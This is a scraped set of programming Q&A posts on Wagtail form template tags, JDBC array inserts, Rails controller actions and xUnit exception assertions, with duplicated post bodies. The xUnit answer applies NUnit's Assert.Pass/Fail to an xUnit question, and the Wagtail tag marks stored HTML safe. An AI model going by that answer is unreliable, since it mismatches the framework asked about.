Create a new file in in a folder templatetags in your app, and build a simple_tag that will take the form_page, the field (which will be a Django Field instance) and a string of the attribute name you want to get.

```<code># myapp/templatetags/form_tags.py
from django import template
from django.utils.html import mark_safe

register = template.Library()

@register.simple_tag(name='form_field_attribute')
def form_field_attribute(form_page, field, attribute_name, default=None):
    """Return attribute on FormField where field matches 'field' provided."""
    # field is a django Field instance
    field_name = field.name
    results = [
        # if html is stored, need to use mark_safe - be careful though.
        mark_safe(getattr(form_field, attribute_name, default))
        # get_form_fields() is a built in function on AbstractFormPage
        for form_field in form_page.get_form_fields()
        # clean_name is property on AbstractFormField used for Django Field name
        if form_field.clean_name == field_name]
    if results:
        return results[0]
    return default
</code>```

2 - Revise your form_page.html Template

In your template, cycle through your form (this is the Django Form instance) and use the template helper to get you the extra attributes you need. Example below, passing in page or self will work the same as they are both the instance of your FormPage.

```<code><form action="{% pageurl page %}" method="POST" role="form">
    {% csrf_token %}
    {% for field in form %}
      <div>{% form_field_attribute page field 'before_input' %}</div>
      {{ field }}
      <div>{% form_field_attribute page field 'after_input' %}</div>
    {% endfor %}
    <input type="submit">
</form>
</code>```

Body:
I'm overriding the wagtail AbstractFormField panel attribute in the following way:

...
before_input = RichTextField(verbose_name=_('before input'), blank=True)
after_input = RichTextField(verbose_name=_('after input'), blank=True)

panels = [
    FieldPanel('label'),
    FieldPanel('before_input'),
    FieldPanel('after_input'),
    FieldPanel('required'),
    FieldPanel('field_type', classname="formbuilder-type"),
    FieldPanel('choices', classname="formbuilder-choices"),
    FieldPanel('default_value', classname="formbuilder-default"),
]

where the other panels are what comes out of the box.

This is working perfectly on the admin side and also saving as rich text into my database

I am pulling this through to my form in my template in the following way:

<form action="{% pageurl page %}" method="POST" class="lm-ls1" id="feedback-form">
  {% csrf_token %}

  {{ form.question1.help_text }}
  {{ form.question1.before_input }}

---------------

  {% for row in form.fields.values %}
    {{row.choices}}

---------------

    {{row.help_text}}

---------------

    {{row.before_input}}
  {% endfor %}
</form>

But I am only getting html output for the form panels excluding the before_input and after_input ones

I am getting through roughly the following:

Overall, how did you feel about the service you received today?
---------------

[('Very satisfied', 'Very satisfied'), ('Satisfied', 'Satisfied'),
 ('Neither satisfied nor dissatisfied', 'Neither satisfied nor dissatisfied'), ('Dissatisfied', 'Dissatisfied'), ('Very dissatisfied', 'Very dissatisfied')]
---------------

Overall, how did you feel about the service you received today?
---------------

---------------

How can I access the before_input field panel data stored in the _formfield wagtail table?

Body:
Bit late but hopefully this still helps you or someone else out there.

How Wagtail Forms Work

Wagtail forms provided to the view context for AbstractFormPage models is a fully instanced Django Form. This means that you will only ever find values in the form that can be given to a Django Form.

This includes fields, which are instances of Django's Fields (eg. CharField) and there is no simple way to add additional attributes to these fields.

You can see how the Form object is built in the Wagtail FormBuilder class definition.

1 - Make a Custom Template Tag

A somewhat simple way to get additional attributes on your FormField (Wagtail's FormField) is using a template tag.

Create a new file in in a folder templatetags in your app, and build a simple_tag that will take the form_page, the field (which will be a Django Field instance) and a string of the attribute name you want to get.

# myapp/templatetags/form_tags.py
from django import template
from django.utils.html import mark_safe

register = template.Library()

@register.simple_tag(name='form_field_attribute')
def form_field_attribute(form_page, field, attribute_name, default=None):
    """Return attribute on FormField where field matches 'field' provided."""
    # field is a django Field instance
    field_name = field.name
    results = [
        # if html is stored, need to use mark_safe - be careful though.
        mark_safe(getattr(form_field, attribute_name, default))
        # get_form_fields() is a built in function on AbstractFormPage
        for form_field in form_page.get_form_fields()
        # clean_name is property on AbstractFormField used for Django Field name
        if form_field.clean_name == field_name]
    if results:
        return results[0]
    return default

2 - Revise your form_page.html Template

In your template, cycle through your form (this is the Django Form instance) and use the template helper to get you the extra attributes you need. Example below, passing in page or self will work the same as they are both the instance of your FormPage.

<form action="{% pageurl page %}" method="POST" role="form">
    {% csrf_token %}
    {% for field in form %}
      <div>{% form_field_attribute page field 'before_input' %}</div>
      {{ field }}
      <div>{% form_field_attribute page field 'after_input' %}</div>
    {% endfor %}
    <input type="submit">
</form>


问:
how to insert array in table using JDBC insert
I am trying to insert values into a table using jdbc driver. In my table, one column is defined as array datatype.

Table as follows

```<code>    CREATE TABLE userType
    (
      id bigserial NOT NULL, // auto Inc
      type character varying,
      userRole bigint[] // array
    )
</code>```

I am having an array in my code, which is converted from arraylist.

```<code>    List<Long> ids = new ArrayList<Long>();
    ids.add("1");
    ids.add("2");
    ids.add("3");
    ids.add("4");

    Long[] idArr = new Long[ids.size()];
    idArr = ids.toArray(idArr);
</code>```

I am using the following code to insert the data in table.

```<code>    String querys = "insert into userType(type,fk_last_modified_by,userRole)"
                + " values ('Auto',1,"+ idArr+")";
        Connection connections = sessionFactory.getCurrentSession().connection();
        Statement stmts = connections.createStatement();
        int count =stmts.executeUpdate(querys);
        System.out.println("count---"+count);
        connections.close();
</code>```

I am getting the following error while executing the above.

```<code>    org.postgresql.util.PSQLException: ERROR: syntax error at or near "["
      Position: 99
        at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2102)
        at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1835)
        at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:257)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:500)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:374)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.executeUpdate(AbstractJdbc2Statement.java:302)
        at org.apache.commons.dbcp.DelegatingStatement.executeUpdate(DelegatingStatement.java:196)
        at com.mmf.controllers.UpdateReconcileController.save(com.mmf.controllers.UpdateReconcileController:123)
</code>```

Then I just followed the solution provided by Jagdesh,

```<code>        String querys = "insert into userType(type,fk_last_modified_by,userRole)"
                + " values (?,?,?)";
        System.out.println(querys);
        Connection connections = sessionFactory.getCurrentSession().connection();
        CallableStatement stmts = connections.prepareCall(query);
        stmts.setString(1, "Auto");
        stmts.setInt(2, 1);
        stmts.setArray(3, connections.createArrayOf("integer", idArr));
        stmts.executeUpdate(querys);;
        connections.close();
</code>```

Now I am getting the following error,

```<code>    org.postgresql.util.PSQLException: The column index is out of range: 1, number of columns: 0.
        at org.postgresql.core.v3.SimpleParameterList.bind(SimpleParameterList.java:53)
        at org.postgresql.core.v3.SimpleParameterList.setLiteralParameter(SimpleParameterList.java:114)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.bindLiteral(AbstractJdbc2Statement.java:2172)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.setLong(AbstractJdbc2Statement.java:1227)
        at org.apache.commons.dbcp.DelegatingCallableStatement.setLong(DelegatingCallableStatement.java:252)
</code>```

Can anyone point me where I am doing mistake?

答:
I think you want to use a PreparedStatement, not CallableStatement.
CallableStatements are used for calling a SQL function, and it has kinda weird syntax.</p>

Body:
I am trying to insert values into a table using jdbc driver. In my table, one column is defined as array datatype.

Table as follows

    CREATE TABLE userType
    (
      id bigserial NOT NULL, // auto Inc
      type character varying,
      userRole bigint[] // array
    )

I am having an array in my code, which is converted from arraylist.

    List<Long> ids = new ArrayList<Long>();
    ids.add("1");
    ids.add("2");
    ids.add("3");
    ids.add("4");

    Long[] idArr = new Long[ids.size()];
    idArr = ids.toArray(idArr);

I am using the following code to insert the data in table.

    String querys = "insert into userType(type,fk_last_modified_by,userRole)"
                + " values ('Auto',1,"+ idArr+")";
        Connection connections = sessionFactory.getCurrentSession().connection();
        Statement stmts = connections.createStatement();
        int count =stmts.executeUpdate(querys);
        System.out.println("count---"+count);
        connections.close();

I am getting the following error while executing the above.

    org.postgresql.util.PSQLException: ERROR: syntax error at or near "["
      Position: 99
        at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2102)
        at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1835)
        at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:257)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:500)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:374)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.executeUpdate(AbstractJdbc2Statement.java:302)
        at org.apache.commons.dbcp.DelegatingStatement.executeUpdate(DelegatingStatement.java:196)
        at com.mmf.controllers.UpdateReconcileController.save(com.mmf.controllers.UpdateReconcileController:123)

Then I just followed the solution provided by Jagdesh,

        String querys = "insert into userType(type,fk_last_modified_by,userRole)"
                + " values (?,?,?)";
        System.out.println(querys);
        Connection connections = sessionFactory.getCurrentSession().connection();
        CallableStatement stmts = connections.prepareCall(query);
        stmts.setString(1, "Auto");
        stmts.setInt(2, 1);
        stmts.setArray(3, connections.createArrayOf("integer", idArr));
        stmts.executeUpdate(querys);;
        connections.close();

Now I am getting the following error,

    org.postgresql.util.PSQLException: The column index is out of range: 1, number of columns: 0.
        at org.postgresql.core.v3.SimpleParameterList.bind(SimpleParameterList.java:53)
        at org.postgresql.core.v3.SimpleParameterList.setLiteralParameter(SimpleParameterList.java:114)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.bindLiteral(AbstractJdbc2Statement.java:2172)
        at org.postgresql.jdbc2.AbstractJdbc2Statement.setLong(AbstractJdbc2Statement.java:1227)
        at org.apache.commons.dbcp.DelegatingCallableStatement.setLong(DelegatingCallableStatement.java:252)

Can anyone point me where I am doing mistake?


问:
Ruby on rails - how to compute and return a value to display
I'm new to rails. I have the basic down. What I want to do is when someone clicks "generate" it will take one title and one description from a large list in the db, do that 50 times, then display those on a new page.

I'm not quite sure how this is done. Is the logic for this handled in the controller or is this a rake task?

WHAT I HAVE SO FAR (I also have all the views setup):

Route:

```<code>Rails.application.routes.draw do
  mount RailsAdmin::Engine => '/admin', as: 'rails_admin'
  devise_for :users
  root to: "home#index"

  resources :articles
end
</code>```

Model:

```<code>  create_table "articles", force: :cascade do |t|
    t.text     "title"
    t.text     "body"
    t.text     "keywords"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.string   "name"
  end
</code>```

Controller:

```<code>class ArticlesController < ApplicationController
  before_action :authenticate_user!
  before_action :find_article, only: [:edit, :update, :show, :destroy]

  def index
    @articles = Article.all
  end
  # Creates article
  def new
    @article = Article.new
  end
  # Saves article
  def create
    @article = Article.new(article_params)
    if @article.save(article_params)
      flash[:notice] = "Successfully created #{@article.title}"
      redirect_to article_path(@article)
    else
      flash[:alert] = "Error creating #{@article.title}"
      render :new
    end
  end
  # renders edit page
  def edit

  end
  #updates article with new info
  def update
    if @article.update_attributes(article_params)
      flash[:notice] = "Successfully updated article!"
      redirect_to article_path(@article)
    else
      flash[:alert] = "Error updating article!"
      render :edit
    end
  end

  # renders the article
  def show
  end

  # deletes the article
  def destroy
    @article = Article.find(params[:id])
    if @article.destroy
      flash[:notice] = "Successfully deleted!"
      redirect_to articles_path
    else
      flash[:alert] = "Error deleting article"
    end
  end

  private

  def article_params
    params.require(:article).permit(:title,:body,:keywords,:name)
  end

  def find_article
    @article = Article.find(params[:id])
  end
end
</code>```

答:
Put a generate button on your index.html.erb or somewhere else.

index.html.erb

```<code>link_to "Generate", foo_articles_path, class: "some-class"
</code>```

routes.rb

```<code>resources :articles do
  get :foo, on: :collection
end
</code>```

then add a foo method/action to your articles controller,

```<code>def foo
  @articles = Article.take(50) #or some other constraints
end
</code>```

if you want to render those in a different view (eg. foo.html.erb), create that one under app/views/articles path. if you name it other than foo (e.g bar.html.erb), you should explicitly include it inside foo action.

```<code>def foo
  @articles = Article.take(50)
  render :bar
end
</code>```

And inside that view, render @articles however you want.

Body:
I'm new to rails. I have the basic down. What I want to do is when someone clicks "generate" it will take one title and one description from a large list in the db, do that 50 times, then display those on a new page.

I'm not quite sure how this is done. Is the logic for this handled in the controller or is this a rake task?

WHAT I HAVE SO FAR (I also have all the views setup):

Route:

Rails.application.routes.draw do
  mount RailsAdmin::Engine => '/admin', as: 'rails_admin'
  devise_for :users
  root to: "home#index"

  resources :articles
end

Model:

  create_table "articles", force: :cascade do |t|
    t.text     "title"
    t.text     "body"
    t.text     "keywords"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.string   "name"
  end

Controller:

class ArticlesController < ApplicationController
  before_action :authenticate_user!
  before_action :find_article, only: [:edit, :update, :show, :destroy]

  def index
    @articles = Article.all
  end
  # Creates article
  def new
    @article = Article.new
  end
  # Saves article
  def create
    @article = Article.new(article_params)
    if @article.save(article_params)
      flash[:notice] = "Successfully created #{@article.title}"
      redirect_to article_path(@article)
    else
      flash[:alert] = "Error creating #{@article.title}"
      render :new
    end
  end
  # renders edit page
  def edit

  end
  #updates article with new info
  def update
    if @article.update_attributes(article_params)
      flash[:notice] = "Successfully updated article!"
      redirect_to article_path(@article)
    else
      flash[:alert] = "Error updating article!"
      render :edit
    end
  end

  # renders the article
  def show
  end

  # deletes the article
  def destroy
    @article = Article.find(params[:id])
    if @article.destroy
      flash[:notice] = "Successfully deleted!"
      redirect_to articles_path
    else
      flash[:alert] = "Error deleting article"
    end
  end

  private

  def article_params
    params.require(:article).permit(:title,:body,:keywords,:name)
  end

  def find_article
    @article = Article.find(params[:id])
  end
end

Body:
Put a generate button on your index.html.erb or somewhere else.

index.html.erb

link_to "Generate", foo_articles_path, class: "some-class"

routes.rb

resources :articles do
  get :foo, on: :collection
end

then add a foo method/action to your articles controller,

def foo
  @articles = Article.take(50) #or some other constraints
end

if you want to render those in a different view (eg. foo.html.erb), create that one under app/views/articles path. if you name it other than foo (e.g bar.html.erb), you should explicitly include it inside foo action.

def foo
  @articles = Article.take(50)
  render :bar
end

And inside that view, render @articles however you want.


问:
XUnit Assert.IsType() with multiple expected types
I need to check one from three possible types of exceptions. If one of these exceptions thrown, the test considered passed. I'm using [Theory] and [MemberData] for several scenarios.

```<code>[Theory]
[MemberData(nameof(GetInvalidMimeMessages))]
public async Task ProcessAsync_TestFail(MimeMessage message)
{
    var stub = Mock.Of<IOptions<ScrapyardFilesOptions>>(s => s.Value.ConnectionString == "UseDevelopmentStorage=true" && s.Value.Container == "exchange");
    var loggerMock = new Mock<ILogger<ScrapyardFilesHandler>>(MockBehavior.Loose);
    var scrapyard = new ScrapyardFilesHandler(loggerMock.Object, stub);
    var ex = await Assert.ThrowsAnyAsync<Exception>(() => scrapyard.ProcessAsync(message));

    // imagine solution somehow like that
    Assert.IsType(
                    {
                      typeof(NullReferenceException)    ||
                      typeof(KeyNotFoundException)      ||
                      typeof(InvalidOperationException) ||
                    },
                    ex);
}

private static IEnumerable<object[]> GetInvalidMimeMessages()
{
    yield return new object[] { null };
    yield return new object[] { new MimeMessage() };
    yield return new object[]
    {
        new MimeMessage(
            new List<InternetAddress>(),
            new InternetAddressList() { new MailboxAddress("ExchangeScrapyard@ol.su"), new MailboxAddress("exchange+scrapyard@Olex.su"), },
            string.Empty,
            MimeEntity.Load(ParserOptions.Default, Stream.Null))
    };
    yield return new object[]
    {
        new MimeMessage(
            new List<InternetAddress>(),
            new InternetAddressList() { new MailboxAddress("ExchangeOLC449@ol.su"), new MailboxAddress("exchange+olc@Ol.su"), },
            string.Empty,
            MimeEntity.Load(ParserOptions.Default, Stream.Null))
    };
}
</code>```

How can I get such assert?

答:
As you have multiple possible exceptions to be thrown there´s no built-in way in NUnit to check this. If you´re only up for one exception you could use this:

```<code>Assert.Throws<NullReferenceException>(() => DoSomething);
</code>```

However with multiple ones you can use good old try-catch:

```<code>try
{
    DoSomething();
}
catch(NullReferenceException) { Assert.Pass(); }
catch(KeyNotFoundException) { Assert.Pass(); }
catch(InvalidOperationException) { Assert.Pass(); }
catch(Exception) { Assert.Fail("Unexpected exception was caught"); }
Assert.Fail("No exception was caught");
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I need to check one from three possible types of exceptions. If one of these exceptions thrown, the test considered passed. I'm using [Theory] and [MemberData] for several scenarios.

[Theory]
[MemberData(nameof(GetInvalidMimeMessages))]
public async Task ProcessAsync_TestFail(MimeMessage message)
{
    var stub = Mock.Of<IOptions<ScrapyardFilesOptions>>(s => s.Value.ConnectionString == "UseDevelopmentStorage=true" && s.Value.Container == "exchange");
    var loggerMock = new Mock<ILogger<ScrapyardFilesHandler>>(MockBehavior.Loose);
    var scrapyard = new ScrapyardFilesHandler(loggerMock.Object, stub);
    var ex = await Assert.ThrowsAnyAsync<Exception>(() => scrapyard.ProcessAsync(message));

    // imagine solution somehow like that
    Assert.IsType(
                    {
                      typeof(NullReferenceException)    ||
                      typeof(KeyNotFoundException)      ||
                      typeof(InvalidOperationException) ||
                    },
                    ex);
}

private static IEnumerable<object[]> GetInvalidMimeMessages()
{
    yield return new object[] { null };
    yield return new object[] { new MimeMessage() };
    yield return new object[]
    {
        new MimeMessage(
            new List<InternetAddress>(),
            new InternetAddressList() { new MailboxAddress("ExchangeScrapyard@ol.su"), new MailboxAddress("exchange+scrapyard@Olex.su"), },
            string.Empty,
            MimeEntity.Load(ParserOptions.Default, Stream.Null))
    };
    yield return new object[]
    {
        new MimeMessage(
            new List<InternetAddress>(),
            new InternetAddressList() { new MailboxAddress("ExchangeOLC449@ol.su"), new MailboxAddress("exchange+olc@Ol.su"), },
            string.Empty,
            MimeEntity.Load(ParserOptions.Default, Stream.Null))
    };
}

How can I get such assert?

Body:
As you have multiple possible exceptions to be thrown there´s no built-in way in NUnit to check this. If you´re only up for one exception you could use this:

Assert.Throws<NullReferenceException>(() => DoSomething);

However with multiple ones you can use good old try-catch:

try
{
    DoSomething();
}
catch(NullReferenceException) { Assert.Pass(); }
catch(KeyNotFoundException) { Assert.Pass(); }
catch(InvalidOperationException) { Assert.Pass(); }
catch(Exception) { Assert.Fail("Unexpected exception was caught"); }
Assert.Fail("No exception was caught");